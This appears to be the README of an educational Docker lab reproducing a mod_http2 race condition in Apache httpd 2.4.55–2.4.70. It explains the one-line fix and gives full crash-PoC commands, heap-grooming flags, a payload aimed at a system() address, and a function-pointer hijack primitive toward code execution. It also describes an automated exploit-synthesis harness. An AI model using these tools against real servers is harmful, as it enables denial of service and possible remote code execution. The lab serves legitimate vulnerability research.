
Isolated Docker lab reproducing the CVE-2026-119618 mod_http2 race in Apache httpd 2.4.55–2.4.70, with a crash PoC, heap-corruption primitives, core analysis, and a 2.4.71 A/B control.
assign_headers() race (CWE-362)Educational proof-of-concept lab for CVE-2026-119618 (critical; published 2026-11-11), a
race condition in Apache HTTP Server's mod_http2 affecting httpd 2.4.55–2.4.70, fixed
in 2.4.71. Everything here runs against host-local Docker containers bound to
127.0.0.1 in an isolated network — never aim these tools at any other host.
Results in one paragraph: the bug reproduces as a reliable heap-corruption crash PoC on
2.4.70 (core dumps in apr_table/allocator/pool-destroy paths, 6+ distinct crash modes), and
two corruption primitives were achieved: attacker header bytes overwriting a dereferenced
data pointer, and a pool-cleanup function-pointer hijack that transfers control to a
corrupted plain_cleanup_fn (step-4 primitive B). End-to-end code execution was NOT
achieved — steps 5, 6 and 8 each ended with a precise, evidence-backed structural blocker
(see Results). The A/B control on 2.4.71 is clean: 189,524 streams across all
payload families, zero resets/GOAWAYs/cores.
The entire upstream fix (commit 824beab9) is one line in
modules/http2/h2_request.c, function assign_headers():
// when: !is_connect && no_body && Content-Type present && Content-Length absent
- apr_table_setn(req->headers, "Content-Length", "0"); // writes SHARED session-side table
+ apr_table_setn(r->headers_in, "Content-Length", "0"); // writes per-request clone (2.4.71)
assign_headers() runs on a mod_http2 worker thread (c2), but req->headers is an
apr_table living in the stream pool owned by the nghttp2 session thread (c1).
apr_table is not thread-safe, and APR pools do not synchronize same-pool allocation:
c1 session thread (nghttp2) c2 worker thread (mod_http2)
──────────────────────────── ────────────────────────────
h2_request_clone / push collect assign_headers()
iterate/copy req->headers ──────┐ apr_table_setn(req->headers,
apr_palloc from stream pool ──┐ │ "Content-Length", "0")
│ │ └─ realloc entry array (80 entries
shared session allocator ◄────┴─┴──────────── == capacity) + apr_palloc race
(lock-free on this path) ⇒ heap corruption / double-pop
The worker's setn can realloc the table's entry array or overwrite entries while the
session thread clones/iterates the same table, and its apr_palloc races session-thread
allocations from the same lock-free allocator node. 2.4.71 removes the shared write (uses the
per-request r->headers_in clone) and adds pool_lock.
An HTTP/2 request whose HEADERS frame carries END_STREAM (no body) with a Content-Type
header, no Content-Length, and a non-CONNECT method. The race is session-thread vs
worker-thread on the same stream, so the PoC opens many such streams concurrently and
amplifies with RST/push/burst timing.
| Path | Purpose |
|---|---|
docker-compose.yaml | target = httpd:2.4.70 (vulnerable), target-fixed = httpd:2.4.71 (A/B), dev = this container |
target/httpd-lab.conf | h2c config injected via -c Include (Listen 8080, Protocols h2c http/1.1, event MPM, CoreDumpDirectory /tmp, CGI enabled) |
target/htdocs/ | push.cgi (emits Link: </style.css>; rel=preload to drive session-thread cloning), diag.cgi (core/proc diagnostics, ?savecore preserves /tmp/core), fetch.cgi (gzip-download files/cores/markers from the target) |
poc.py | h2 race client (crash PoC + grooming flags) |
exploit.py | step-5/6 RCE driver + reusable helpers (run_poc, save_and_fetch_core, gdb_batch, fixed addresses) |
cve2poc/ | step-8 dual-loop harness (Cve2PoC architecture: spec → static gates → synthesize → execute → oracle → dual-axis scoring → refine/replan) |
evidence/ | step writeups (STEP4_RCE.md, STEP5_RCE.md, STEP6_RCE.md, STEP8_CVE2POC.md), resolved backtraces, analyze_core.sh (offline core resolver), archived cores in target-bin/ |
src/ | read-only reference source (httpd 2.4.70, apr 1.7.5) — never built |
Environment notes: the agent/dev container has no docker CLI — start targets on the host
with docker compose up -d target target-fixed. ASLR is off in this lab, so all recorded
addresses (system = 0xffff924292c0, mod_http2 base 0xffff91e60000, header-spray region
0xffff91600000–0xffff91650000, …) are stable across runs. kernel.core_pattern=core and
core_uses_pid=0: every crash overwrites target /tmp/core — run
curl 'http://target:8080/diag.cgi?savecore' before the next race.
python3 -m venv .venv && .venv/bin/pip install h2 # once
# Crash PoC (reliable on 2 CPUs; expect exit 1 + a fresh ~1.1 GB core in target /tmp):
.venv/bin/python poc.py --host target --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 15 --persist
# Preserve + fetch + resolve the core (sleep ~15 s first — diag.cgi is unresponsive
# while the core flushes):
curl -s 'http://target:8080/diag.cgi?savecore'
curl -s 'http://target:8080/fetch.cgi?f=core' -o /tmp/c.gz && gunzip -f /tmp/c.gz
bash evidence/analyze_core.sh /tmp/c # offline gdb vs archived target binaries
# A/B control — identical run vs the patched image; expect 0 resets/GOAWAYs/cores:
.venv/bin/python poc.py --host target-fixed --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 30 --persist
# Step-8 dual-loop harness (strategy registry, dead-veto, dual-axis scoring, stall→replan):
.venv/bin/python -m cve2poc selftest # offline proof, green before any race
.venv/bin/python -m cve2poc run --strategy S2 --budget 4 --duration 20
.venv/bin/python -m cve2poc status # reconstruct state from the JSONL reward store
Key poc.py grooming flags: --fill 78 (78 fillers + content-type + host = 80 entries ==
table capacity ⇒ forces the vulnerable realloc; --fill 0 is the no-race control), --pad N
(steers stream-pool consumption against the 8 KB allocator-node boundary; 16 = cleanup-crash
window), --mode {race,rst,push,flood,burst} amplifiers, --pattern (recognizable header
spray), --payload-hex / --body-hex / --body-every (binary payloads; nghttp2 header
values are field-vchar only, so NUL-bearing bytes must ride DATA bodies).
poc.py crashes the 2.4.70 worker reproducibly (conn 16 more reliable than 32 on 2 CPUs).
Offline-resolved cores classify into 6+ distinct modes: allocator free-list corruption
(apr_allocator_free with a checksum-corrupted pointer), apr_table entry races, stream
data-pointer corruption, bucket/brigade corruption, pool-destroy cleanup crashes, and APR
asserts. Every core is verified for provenance (Apache/2.4.70, pool_lock string absent)
before attribution. See evidence/EVIDENCE.md and BACKTRACE_*.txt.
stream->session).pre_cleanups function-pointer
hijack — apr_pool_destroy → run_cleanups (apr_pools.c:2660,
ldp x0,x1,[node,#8]; blr x1, no PAC) calls a corrupted plain_cleanup_fn
⇒ corrupted control-flow transfer, evidenced by cores with attacker-influenced PC/x0.